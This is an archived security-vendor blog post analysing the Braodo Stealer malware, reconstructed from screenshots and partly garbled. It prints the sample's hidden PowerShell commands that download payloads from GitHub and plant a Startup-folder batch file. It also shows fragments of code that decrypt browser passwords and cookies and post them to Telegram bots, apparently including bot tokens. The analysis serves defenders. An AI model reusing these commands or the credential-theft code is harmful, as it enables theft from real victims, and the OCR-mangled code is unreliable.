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Echoes of Braodo Tales from the Cyber Underworld
Published: 2024-07-22 - Archived: 2026-04-05 20:44:14 UTC

In the last few months we’ve been observing a lot of tweets talking about the rise in Vietnamese-based malware
aka Braodo Stealer. This blog gets into the nuances of Braodo, an information stealer, capable of stealthily
infiltrating the victims’ system to harvest their sensitive information, such as credentials, banking information and
more, and do their intended damage like, identity theft and financial losses. In this blog, we have analyzed one of

the Stealers’ hashes taken from this recent tweet.

This stealer was first seen in the real world as shown in Fig.1.

Signature:

Firstseen: 2024-05-11 07:51:35 UTC

Lastseen: 2024-07-03 16:08:18UTC

Fig.1: First seen in real world (Source: MalwareBazaar)

Braodo Stealer is a Python based Stealer, which collects all cookies and saved credentials from the browsers and
all services and process information of that particular system as a zip file. Let us now get into the technicalities.

The execution flow is as shown in Fig.2.

— (= — B —C)

Fig.2: Flow of its execution

Initially it comes as a zip file. On extracting, it contains a bat file “health-records-x-ray-n.bat” which starts with
unicode “FF FE” which uses BOM , to show the batch file data as unreadable characters as shown in below

figure.3, if we open it in notepad++.

After removing “FF FE” and opening it in notepad++, it looks as in Figure.4.
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Fig.3: Batch file in notepad++ with “FF FE”

= =

Brew 1 |l health-records«-rayn - Copy.dat E3 l

&cls
#bfivkisdkivisdkivkjadivikskjdkjviskdkivkisidkv, msmdnvkisildvsvsdvEivkisdkivkjadivikskjdkiviskdkijvkisjdkv, msmdnvkisildv.
CMD command to create powershell and invoke webrequest

C:\WINDOWS\System32\WindowsPowerShell\vl.O\powershell.exe -windowstyle hidden Invoke-WebReguest -URI https://github.com
powershell.exe -WindowStyle Hidden -Command " [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::

#bfivkjsdkjvisdkivkjadjvikskjdkjviskdkivkjsjdkv, msmdnvkjsjldvsvsdvEivkjsdkjvkjadivikskjdkiviskdkjvkjsjdkv, msmdnvkisjldv.

C:\WINDOWS\System32\WindowsPowerShell\vl.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://github.com
powershell.exe -WindowStyle Hidden -Command " [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::

#bfjvkjsdkjvisdkivkjadjvikskjdkjviskdkjvkjsjdkv, msmdnvkjsjldvsvsdvfivkjsdkjvkjadivikskjdkiviskdkjvkisjdkv, msmdnvkisjldv.

Fig.4: Batch file after removing “FF FE”

On executing the bat file, it starts the PowerShell process and downloads a bat file from GitHub URL with the
following command and saves that file as “Windows Secure.bat” in the Startup folder for persistence from below

command.

C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -
URI https://github.com/ohlisit/123/raw/main/update.bat -OutFile
“C:\\Users\\$([Environment]::UserName)\\AppData\\Roaming\\Microsoft\\Windows\\’Start
Menu’\\Programs\\Startup\\WindowsSecure.bat”;

Result  Protocol Host URL Body Caching Content-Type  Process Comments

2 HTTF Tunnel to  github.com; 443 POWETS...

Tunnel to  raw.githubusercontent.co. .. 0 POWETS...

DOWErs. ..

BB [EIEE *
r

B EENM

] O O 9 O

Headers | TextView SyntaxView WebFaorms HexView Auth Cookies Raw Js¢

CONMECT raw githubusercontent.com:443 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5. 1. 19041.3031

Fig.5: Connection of PowerShell to GitHub
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B0:2... E¥powershell exe 7328 &TCP Receive RN
B0:2... EMpowershell exe 7328 A5TCP Receive  pUUUUUENpIIR

00:2... E¥powershell axe 7328 %Wrﬂeﬁle CAUsers WP pp Data® Roaming \Microsoft\Windows Startt Menu'\Programs\Startup*WindowsSecure bat

This PC Local Disk (C:) Users Viper AppData Roaming Microsoft

Windows Start Menu Programs Startup
MName - Date moc

desktop.ini Configuration sett... 1KB

BA WindowsSecure.bat 7/9/2024 4:3

Windows Batch File 3,067 KB

Fig.6: Writing WindowsSecure.bat in the Startup folder

It also downloads a zip file called “Document.zip” in the path “C:\Users\Public” from the GitHub URL as shown
in the below command.

powershell.exe -WindowStyle Hidden -Command “[Net.ServicePointManager]::SecurityProtocol =
[Net.SecurityProtocolType]::Tls12; (New-Object -TypeName

System.Net. WebClient). DownloadFile(‘https://github.com/ohlisit/123/raw/main/Document.zip’,
‘C:\Users\Public\Document.zip’)”;

. E| Microsoft Corporation 88
: COWINDOW 54 System 32\ WindowsPowerShell'w 1.0%powershell exe B23
" ... E¥powershell exe 2936 &% TCP Recsive
* ... ¥ powershell exe 2936 @a‘.‘a‘ﬂteﬁle

C:hUsers\Public'Document .zip

This PC Local Disk (C:) Users Public Document

MNarme

B ous

B L 7/9/2024

Date modified

E wveruntimel40.d1l
E veruntimel40_1.dll

Fig.7: Downloaded contents of Document.zip in “C:\Users\Public”

If we manually get into that GitHub repository, we can see their bat files and zip files are getting periodically
updated, as can be seen in the figure below.

¥ main ~ ¥ 1Branch T 0 Tags Q. Go to file <> Code ~

ohlisit Add files via upload fofab4é - 5 days ago ® 2 Commits

[j Decument.zip Add files via upload &t days ago

(] update.lbat Add files via upload 5 days ago

Fig.8: GitHub Repository

The Document.zip is uncompressed using the following command:
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cmd /c powershell.exe -WindowStyle Hidden -Command Expand-Archive -Path

“C:\Users\Public\Document.zip” -DestinationPath “C:/Users/Public/Document”;

The Document.zip file contains all libraries related to python.exe which is shown in Fig.8, we found a python file

with name “sim.py” which is the actual payload written in python language as shown in Figure.9, it contains junk

data along with actual payload code the below Figure.10.

shlex.py 4/5/2023 12:47 AN Python File

shutil.py 475720 247 AM ython File

signal.py 443 247 AM ython File

sim.py 71572024 10:49 AM Python File 1,043 KB
site.py - 12:47 AM Python File 2

Fig.9: Payload as sim.py

sim py E9

TOm
TOm
TOm
TOm
TOm
TOm

mport o=,json,shutil ,win3Zcrypt, hmac,sgqlite3,basecd, random, requests, th)

ef demso()
if os.path.exists(os.path.join(os.environ[ "W

#bfivkisdkivisdkivikiadivikskidkiviskdkivkjsjidikv, msmdnvkisildvs
Jjdkjviskdkjvkjsjdkv, mesmdnvkjsjldvsvasdvinskndvsdvsdvsdijvkjsdkj-
jajdkv,memdnvkjsjldvesvesdviknskndvedvadvedijvkjsdkjvikjadijvikskjdl
kEjsjldwvsvedviknskndvsdvsdvsdfjvkjsdkjvkjadivikskjdkiviskdkjvkjs:
nskndvsdvsdvsdfjvkjsdkjvkjadjvikskjdkjviskdkjvkjsjdkv, msmdnvikij:
dfjvkisdkjvkjadijvikskjdkjviskdkjvkjsjdkv, msmdnvk]sjldvsvasdvikns]
adjvijkskjdkjviskdkjvkjsjdkv, mesmdnvk]js]jldvsvadviknskndvsdvsdvsdL:
jskdkjvkjsjdkv, msmdnvk]s]jldvsvesdvknskndvsdvsdvsdfjvkjsdkjvkjad;

Crypto.Cipher import DES3 , AES
pyvasnl.codec.der import decoder
hashlib import shal, pbkdfZ hmac
Crypto.Util.Padding import unpad
kaseed import beddecode

datetime import datetime

with open{os.path.join(os.environ["USEE

Fig.10: Sim.py having stealer code

After unzipping the file in the location “C:\Users\Public\Document”, it starts the python.exe with the below

command, to proceed further which will be discussed in detail now.

powershell.exe -WindowStyle Hidden -Command “C:\Users\Public\Document\python

C:\Users\Public\Document\Lib\sim.py”

4:30:4... E¥powershell exe 3792 [k WiiteFile CUserdRDeskiop P 5_Transcripts' 20240709 PowerShe
4:30:4... E¥powershell exe 3752 BaWriteHle C:
4:30:4... E¥powershell exe 3792 &F Process Create  C:\Users'\Public’Document python exe

Fig.11: Creating python.exe process by PowerShell

After creating Python.exe, it loads all the required libs and DLLs from the Document folder and starts executing

code that is present in sim.py step by step.
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It starts execution of code by retrieving computer name, current login user name, windows version, time of

computer, IP of system by requesting to “https://ipinfo.io”.

Fig.12: Retrieving computer IP, current user name

= hostname = Ds.getenv{”:ZCI-m my
L9 usernamex = os.getlogin()
20 windows wversion = platform.platform/()
21 now = datetime.now()
22 response =regquests.get("https:/Sipinfo.io™)..text

200 HTTP

200 HTTP Tunnel to  ipinfo.io:443 pythaon...

In the main function, we can find the Telegram API bots URL strings in ul and u2 variables which would be used

to send the stolen information to it.

T—— [P

ul =

"https://fapi.telegram.org/bot "+apibotl+ " /sendDocument '

'https://api.telegram. org/bot "+apibot2+ " /sendDocument *

_from basefd import beddecode

1z apibotl="T06T150362 :AAFULSEIGTHDIuX Tat JgOQTSxWZO1LivCOfo"
13 1dl = "T-g235204518"

14 Lapibote="r3134d /2 /8l ankNWhxpkzDWcen rzFNBRJeWDXpkULUesgal - ]
15 id2 = "5394375096"

Fig.13: Telegram API bots

Then it takes the path of all browsers’ user data present in the system, and checks each browser’s path if it exists

or not. If it exists, it starts stealing all user data, cookies, web data, login data, local state from all the browsers

present in the system and places all of them in separate folders having the browser name.
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try: data chrome = os.path.join(data path, "Chrome");os.mkdir (data chromg
get_chrome (data_path,chrome) - - -
except: print("")
if os.path.exists(Edge):
try:
get_edge (data_path,Edge)
except: print("")

def get_=dge (data_path,edge_path):
data_edge = os.path.join(data_path, "Edge");os.mkdir(data_edge)

if os.path.exists(Cpera):
try:
get_opera(data path,Opera)
except: print("")

def get_opera(data path,opera_path):
data_opera = os.path.join(data path, "Cpera");os.mkdir(data opera)

if os.path.exists(Brave): |def get_brave (data_path,brave_path) :

try: data_brave = os.path.join(data path, "Brave");os.mkdir(data brave)
get_brave (data_path,Brave)

except: print("")

if os.path.exists(coccoc): ief gst_coccoc(data path,coccoc_path):
try: data_coccoc= os.path.join(data_path, "CocCoc”);os.mkdir(data_coccoc)
get_coccoc(data_path,coccoc)
except: print("")

if os.path.exists(firefox): |aef get_firefox(data path,firefox path):
try: data_firefox = os.path.join(data_path,’'firefox');os.mkdir (data_ firg
get_firefox(data path,firefox|

except: print("")

if os.path.exists(chromium) : def get_chromium(data_path,chromium path):
try: data_chromium= os.path.join(data_path, "Chromium");os.mkdir(data_chsy
get chromium(data path,chromium

Fig.14: Checking paths and creating folders for every Browser

Then it decrypts all the sensitive data like login data, cookies, web data from every browser by connecting to

“Login data” SQLite database and “Cookies” SQLite database using the AES algorithm with master key generated
from Local State file.

ster_key = master key[5:]
ster key = win3Zcrypt.CryptUnprotectData (master key,
ster_key str = str(master_key)

i Ster kev str)

conn = sglited.connect (login db)
CUrsSor = Conn.cursor()
cursor.execute ("SELECT action_url, username valus, password valus FROM logins™)
Ty :
connZ = sglite3.connect (cookie_db)

conn ., text factory = lambda b: b.decode(errors="ignore"

Lw — usna s ae)
data = datal[ls:]

cipher = AES.new(key, AES.MODE GCM, iv)
return cipher.decrypt(data)[:-1€].decode ()}

Fig.15: Decrypting login data and cookies from its database using AES

After collecting and writing all data from different locations to text files, it converts the files into a zip file, for
sending them into the Telegram channel.
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Chrome 0

Edge
cookiefb.txt

window. bt

Date modified

024 4:30 PM
7/9/2024 4:30 PM

ocument

Text Document

File Edit

System
Registry
SMSs.exe
C5rss.exe
wininit.exe

Format

| window.txt - Notepad

View Help

System Idle Process

8 Services
4 Services
188 Services
484 Services
688 Services
720 Services

R ED 3

Mame Date modified

. cookietict 2024 P

B Cookies /2024 4:30 PM File
B Local state 4.4:30 PM File
B Login Data 7/9/2 PM File

. master_key.tt 7972024 4:30 PM Text Document

Fig.16: Collected data

= =3 dal=) 2 vi-B o ab B ) vl D |

zZ_ph = os.path.join(os.environ["TEMF"], name f +'.zip');shutil.make archive(z_ph[:-4], 'zip',6 data path

Fig.17: Snippet of converting into zip file

After keeping all files together with zip extension, it sends that zip file to the Telegram channel as shown in

Figure.18 and Figure.19. It then removes “Document.zip” from its location.

with open(z_ph, 'rb') as f:
reguests.post{ul,data={"caption': "\n"+"country :
:"+hostname+"/"+usernamex+ "\n'"+ number,'chat id':

" + city + "-"+ten country+"-"+country_code

ip +"\nUsername idl},files={"'documsnt': f£})

HTTP Tunnel to  raw.githubusercontent. co...
Di nfo

POWErS...

o  apl.o

oo oo

o  ap.o

Fig.18: POST request for sending zip file
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-

og.remove (r'C:\WUzers'\ FPu

if os.path.exists(z"C:\]

YWser

os.remove (" C:

s Public\pub.bat'):
bhlic\pub.hat'

if os.path.exists(z"C:\
og.remove (r'Co T

Fig.19:

Removing “Document.zip”

As we can see, threat actors are updating their malware to become more and more evasive. Compared to other

stealers, this one is mainly focused on network related information which could be used for active reconnaissance.

As the information stolen by the malware is sensitive, protecting yourself by investing in a reputable security

product such as K7 Antivirus is therefore necessary in today’s world. We at K7 Labs provide detection for such

kinds of stealers and all the latest threats. Users are advised to use a reliable security product such as “K?7 Total

Security” and keep it up-to-date to safeguard their devices.
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File Name

Hash

health-records-x-ray-

n

Source: https://labs.k7computing.com/index.php/echoes-of-braodo-tales-from-the-cyber-underworld/

4BA8BDD684441EFOF6FOAC7DE7EDB28B
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Detection Name

Trojan ( 0001140e1



